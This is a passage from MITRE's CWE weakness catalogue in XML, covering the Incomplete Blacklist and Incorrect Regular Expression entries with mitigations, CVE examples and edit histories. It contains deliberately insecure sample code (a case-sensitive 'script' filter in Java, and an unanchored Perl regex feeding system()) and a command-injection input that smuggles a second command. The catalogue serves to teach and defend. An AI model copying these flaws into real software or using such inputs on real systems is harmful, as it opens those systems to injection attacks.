            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="184" Name="Incomplete Blacklist" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>An application uses a "blacklist" of prohibited values, but the
					blacklist is incomplete.</Description_Summary>
				        <Extended_Description>
					          <Text>If an incomplete blacklist is used as a security mechanism, then the
						software may allow unintended values to pass into the application logic.
					</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>697</Relationship_Target_ID>
					          <!--Insufficient Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Chains>
						            <Relationship_Chain_ID>692</Relationship_Chain_ID>
					          </Relationship_Chains>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>79</Relationship_Target_ID>
					          <!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>78</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>434</Relationship_Target_ID>
					          <!--Unrestricted Upload of File with Dangerous Type-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>98</Relationship_Target_ID>
					          <!--Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>An incomplete blacklist frequently produces resultant weaknesses.</Text>
					          <Text>Some incomplete blacklist issues might arise from multiple interpretation
						errors, e.g. a blacklist for dangerous shell metacharacters might not
						include a metacharacter that only has meaning in one particular shell, not
						all of them; or a blacklist for XSS manipulations might ignore an unusual
						construct that's supported by one web browser, but not others.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Exploitation of incomplete blacklist weaknesses using the obvious
							manipulations might fail, but minor variations might succeed.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Ensure black list covers all inappropriate content outlined in the
							Common Weakness Enumeration.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Combine use of black list with appropriate use of white lists.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Do not rely exclusively on blacklist validation to detect malicious
							input or to encode output. There are too many variants to encode a
							character; you're likely to miss some variants.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, an XSS neutralization routine (blacklist)
						only checks for the lower-case "script" string, which can be easily
						defeated.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public String removeScriptTags(String input, String mask) {</Code>
							              <Block>
								                <Code>return input.replaceAll("script", mask);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2782</Observed_Example_Reference>
					          <Observed_Example_Description>PHP remote file inclusion in web application that
						filters "http" and "https" URLs, but not
						"ftp".</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0542</Observed_Example_Reference>
					          <Observed_Example_Description>Programming language does not filter certain shell
						metacharacters in Windows environment.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0595</Observed_Example_Reference>
					          <Observed_Example_Description>XSS filter doesn't filter null characters before
						looking for dangerous tags, which are ignored by web browsers. MIE and
						validate-before-cleanse.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3287</Observed_Example_Reference>
					          <Observed_Example_Description>Web-based mail product doesn't restrict dangerous
						extensions such as ASPX on a web server, even though others are
						prohibited.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2351</Observed_Example_Reference>
					          <Observed_Example_Description>Resultant XSS from incomplete blacklist (only
						&lt;script&gt; and &lt;style&gt; are
						checked).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2959</Observed_Example_Reference>
					          <Observed_Example_Description>Privileged program does not clear sensitive
						environment variables that are used by bash. Overlaps multiple
						interpretation error.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1824</Observed_Example_Reference>
					          <Observed_Example_Description>SQL injection protection scheme does not quote the
						"\" special character.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2184</Observed_Example_Reference>
					          <Observed_Example_Description>Incomplete blacklist prevents user from
						automatically executing .EXE files, but allows .LNK, allowing resultant
						Windows symbolic link.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1343</Observed_Example_Reference>
					          <Observed_Example_Description>product doesn't protect one dangerous variable
						against external modification</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1343</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5727</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: only removes SCRIPT tags, enabling
						XSS</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4308</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: only checks "javascript:"
						tag</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3572</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: incomplete blacklist for OS command
						injection</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0661</Observed_Example_Reference>
					          <Observed_Example_Description>"\" not in blacklist for web server, allowing path
						traversal attacks when the server is run in Windows and other OSes.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>G. Hoglund</Reference_Author>
					          <Reference_Author>G. McGraw</Reference_Author>
					          <Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>February 2004</Reference_PubDate>
				        </Reference>
				        <Reference>
					          <Reference_Author>S. Christey</Reference_Author>
					          <Reference_Title>Blacklist defenses as a breeding ground for vulnerability
						variants</Reference_Title>
					          <Reference_PubDate>February 2006</Reference_PubDate>
					          <Reference_Link>http://seclists.org/fulldisclosure/2006/Feb/0040.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Eliminating Metacharacters", Page
						435.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Incomplete Blacklist</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>15</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>174</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>182</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>3</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>43</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>6</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>71</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>73</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>85</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>86</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, Relationships, Other_Notes,
						Relationship_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes, Relationship_Notes,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="185" Name="Incorrect Regular Expression" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software specifies a regular expression in a way that
					causes data to be improperly matched or compared.</Description_Summary>
				        <Extended_Description>
					          <Text>When the regular expression is used in protection mechanisms such as
						filtering or validation, this may allow an attacker to bypass the intended
						restrictions on the incoming data.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>697</Relationship_Target_ID>
					          <!--Insufficient Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>187</Relationship_Target_ID>
					          <!--Partial Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>182</Relationship_Target_ID>
					          <!--Collapse of Data into Unsafe Value-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Keywords: regexp</Text>
					          <Text>This can seem to overlap whitelist/blacklist problems, but it is intended
						to deal with improperly written regular expressions, regardless of the
						values that those regular expressions use. While whitelists and blacklists
						are often implemented using regular expressions, they can be implemented
						using other mechanisms as well.</Text>
					          <Text/>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In PHP, regular expression checks can sometimes be bypassed with a
							null byte, leading to any number of weaknesses.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-45">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Refactoring</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Regular expressions can become error prone when defining a complex
							language even for those experienced in writing grammars. Determine if
							several smaller regular expressions simplify one large regular
							expression. Also, subject the regular expression to thorough testing
							techniques such as equivalence partitioning, boundary value analysis,
							and robustness. After testing and a reasonable confidence level is
							achieved, a regular expression may not be foolproof. If an exploit is
							allowed to slip through, then record the exploit and refactor the
							regular expression.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-37">
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>$phone = GetPhoneNumber();</Code>
							              <Code>if ($phone =~ /\d+-\d+/) {</Code>
							              <Block>
								                <Comment># looks like it only has hyphens and digits</Comment>
								                <Code>system("lookup-phone $phone");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else {</Code>
							              <Block>
								                <Code>error("malformed number!");</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>An attacker could provide an argument such as: "; ls -l ; echo
							123-456" This would pass the check, since "123-456" is sufficient to
							match the "\d+-\d+" portion of the regular expression.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2109</Observed_Example_Reference>
					          <Observed_Example_Description>Regexp isn't "anchored" to the beginning or end,
						which allows spoofed values that have trusted values as
						substrings.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1949</Observed_Example_Reference>
					          <Observed_Example_Description>Regexp for IP address isn't anchored at the end,
						allowing appending of shell metacharacters.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1072</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass access restrictions via multiple leading
						slash, which causes a regular expression to
						fail.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0115</Observed_Example_Reference>
					          <Observed_Example_Description>Local user DoS via invalid regular
						expressions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1527</Observed_Example_Reference>
					          <Observed_Example_Description>chain: Malformed input generates a regular
						expression error that leads to information
						exposure.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1061</Observed_Example_Reference>
					          <Observed_Example_Description>Certain strings are later used in a regexp,
						leading to a resultant crash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2169</Observed_Example_Reference>
					          <Observed_Example_Description>MFV. Regular expression intended to protect
						against directory traversal reduces ".../...//" to
						"../".</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0603</Observed_Example_Reference>
					          <Observed_Example_Description>Malformed regexp syntax leads to information
						exposure in error message.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1820</Observed_Example_Reference>
					          <Observed_Example_Description>Code injection due to improper quoting of regular
						expression.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3153</Observed_Example_Reference>
					          <Observed_Example_Description>Null byte bypasses PHP regexp
						check.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4155</Observed_Example_Reference>
					          <Observed_Example_Description>Null byte bypasses PHP regexp
						check.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Regexp errors are likely a primary factor in many MFVs, especially those
						that require multiple manipulations to exploit. However, they are rarely
						diagnosed at this level of detail.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 10, "Using Regular Expressions for Checking Input"
						Page 350</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Regular Expression Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>15</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>174</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>6</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>79</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Name, Relationships,
						Observed_Example, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Regular Expression
						Error</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="186" Name="Overly Restrictive Regular Expression" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A regular expression is overly restrictive, which prevents
					dangerous values from being detected.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>185</Relationship_Target_ID>
					          <!--Incorrect Regular Expression-->
				</Relationship>
